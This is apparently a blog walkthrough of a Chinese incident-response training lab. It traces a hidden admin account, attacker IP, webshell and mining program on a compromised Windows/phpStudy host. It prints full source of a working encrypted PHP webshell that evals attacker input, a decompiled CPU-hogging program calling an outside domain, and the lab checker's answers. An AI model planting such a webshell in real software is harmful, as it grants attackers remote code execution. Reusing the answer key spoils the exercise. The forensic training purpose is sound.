欢迎光临
我们一直在努力

应急响应靶场 - web1

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码

2.攻击者的IP地址

3.攻击者的隐藏账户名称

4.攻击者挖矿程序的矿池域名

用户:

administrator

密码

Zgsf@admin.com

一、题目要求

  • 攻击者的 shell 密码
  • 攻击者的 IP 地址
  • 攻击者创建的隐藏账户名称
  • 攻击者挖矿程序使用的矿池域名(仅域名)
  • 二、应急响应总体思路

    真实应急响应中,一般遵循以下顺序:

  • 账户异常排查(最快、最明显)
  • Web 服务与 WebShell 排查
  • 日志溯源(锁定攻击 IP)
  • 恶意程序与挖矿行为确认
  • 逆向分析恶意程序,提取矿池信息
  • 三、隐藏账户排查(问题 3)

    3.1 为什么先查账户?

    攻击者在 Web 入侵成功后,最稳定的持久化方式就是创建系统账户,这样即使 WebShell 被删,也能重新登录系统。

    3.2 查看本地用户和组

    使用图形界面方式:

    Win + R → lusrmgr.msc

    打开 “本地用户和组 → 用户”,查看所有用户

    3.3 发现隐藏账户

    在用户列表中发现一个明显异常用户:

    hack168$

    判断依据:
    • 以 $ 结尾(Windows 中常用于隐藏账户)
    • 非系统默认用户
    • 明显人为创建

    攻击者的隐藏账户名称:hack168$

    用命令确认:

    $net user hack168$
    用户名 hack168$
    全名
    注释
    用户的注释
    国家/地区代码 000 (系统默认值)
    帐户启用 Yes
    帐户到期 从不

    上次设置密码 2024/2/26 23:01:13
    密码到期 从不
    密码可更改 2024/2/26 23:01:13
    需要密码 Yes
    用户可以更改密码 Yes

    允许的工作站 All
    登录脚本
    用户配置文件
    主目录
    上次登录 2024/2/26 23:02:24

    可允许的登录小时数 All

    本地组成员 *Administrators *Users
    全局组成员 *None
    命令成功完成。

    四、Web 服务排查与 WebShell 定位(问题 1)

    4.1 确认 Web 环境

    桌面存在 phpStudy / 小皮面板,说明该主机运行 Web 服务

    通过浏览器访问本机 80 端口:

    http://127.0.0.1

    推断攻击者大概率通过 Web 上传漏洞 / Web RCE 入侵

    phpStudy路径:

    4.2 使用 D 盾扫描 Web 目录

    对 www 目录使用 D 盾 WebShell 查杀工具扫描:

    获得webshell路径:C:\\phpStudy_pro\\WWW\\content\\plugins\\tips\\shell.php

    4.3 查看 WebShell 内容

    打开 WebShell 文件,发现典型一句话木马结构,并在代码中直接写死了密码:

    <?php
    @error_reporting(0);
    session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
    $t="base64_"."decode";
    $post=$t($post."");

    for($i=0;$i<strlen($post);$i++) {
    $post[$i] = $post[$i]^$key[$i+1&15];
    }
    }
    else
    {
    $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
    ?>

    $password = "rebeyond";

    攻击者的 shell 密码:rebeyond

    五、日志分析定位攻击者 IP(问题 2)

    启动服务查看

    5.1 为什么要看 Apache 日志?

    既然确认是 WebShell 上传,那么攻击者的 IP 一定会出现在 Web 访问日志 中

    5.2 Apache 日志路径

    phpStudy 默认 Apache 日志路径:

    C:\\phpstudy_pro\\Extensions\\Apache2.4.39\\logs\\

    重点文件:

    access.log

    5.3 分析 access.log

    打开 access.log,结合以下特征筛选:

    • POST 请求
    • 上传脚本
    • 访问 WebShell 文件
    • 请求参数异常

    最终定位到攻击源 IP:

    192.168.126.1

    攻击者的 IP 地址:192.168.126.1

    弱口令admin,123456能登录

    六、挖矿行为确认与恶意程序定位

    6.1 异常现象

    在桌面操作过程中发现:

    • 运行某个可疑程序后
    • CPU 使用率瞬间 100%

    这是非常典型的 挖矿行为特征

    6.2 锁定挖矿程序

    在隐藏账户 hack168$ 的目录中发现可疑文件:

    Kuang.exe

    运行即拉满 CPU,基本可以确认:该程序为挖矿木马

    七、逆向挖矿程序,提取矿池域名(问题 4)

    7.1 为什么要逆向?

    挖矿程序一定要连接 矿池服务器,矿池地址通常:

    • 写死在代码中
    • 或以字符串形式存在

    7.2 判断程序类型

    使用 file / 观察行为后发现:

    • Kuang.exe 为 PyInstaller 打包的 Python 程序

    7.3 使用 PyInstaller 反编译

    工具准备:

    • pyinstxtractor.py

    执行:

    python pyinstxtractor.py Kuang.exe

    成功解包,得到 .pyc 文件

    7.4 反编译 pyc

    将 Kuang.pyc 上传至 在线 pyc 反编译网站,还原为 .py 文件

    # Decompiled with PyLingual (https://pylingual.io)
    # Internal filename: Kuang.py
    # Bytecode version: 3.8.0rc1+ (3413)
    # Source timestamp: 1970-01-01 00:00:00 UTC (0)

    import multiprocessing
    import requests

    def cpu_intensive_task():
    while True:
    try:
    requests.get('http://wakuang.zhigongshanfang.top', timeout=10)
    except:
    pass
    if __name__ == '__main__':
    cpu_count = multiprocessing.cpu_count()
    processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
    for process in processes:
    process.start()
    for process in processes:
    process.join()

    在源码中发现如下关键字符串:

    http://wakuang.zhigongshanfang.top

    这是挖矿程序连接的矿池地址

    挖矿程序的矿池域名:wakuang.zhigongshanfang.top

    八.逆向题目exe

    步骤同上

    # Decompiled with PyLingual (https://pylingual.io)
    # Internal filename: '解题.py'
    # Bytecode version: 3.8.0rc1+ (3413)
    # Source timestamp: 1970-01-01 00:00:00 UTC (0)

    print('公众号:知攻善防实验室')
    print('欢迎使用知攻善防实验室-应急响应训练靶机解题系统')
    print('在此之前,您应该获取到以下信息')
    print('1.攻击者的shell密码')
    print('2.攻击者的IP地址')
    print('3.攻击者的隐藏账户名称')
    print('4.攻击者挖矿程序的矿池域名')
    num = input('你准备好了吗?(y or n)')
    if num == 'y':
    shellpass = input('请输入攻击者的shell密码:')
    if shellpass == 'rebeyond':
    print('题解正确!')
    IPadd = input('请输入攻击者的IP地址')
    if IPadd == '192.168.126.1':
    print('题解正确!')
    username = input('请输入攻击者的隐藏账户名称:')
    if username == 'hack168' or username == 'hack168$':
    print('题解正确!')
    wakuang = input('请输入攻击者挖矿程序的矿池域名:')
    if wakuang == 'wakuang.zhigongshanfang.top':
    print('题解正确!')
    print('恭喜您,该靶机已被您攻破!')
    print('恭喜您,该靶机已被您攻破!')
    print('恭喜您,该靶机已被您攻破!')
    print('恭喜您,该靶机已被您攻破!')
    # return None

    直接能逆出答案

    赞(0)
    未经允许不得转载:171主机测评 » 应急响应靶场 - web1
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址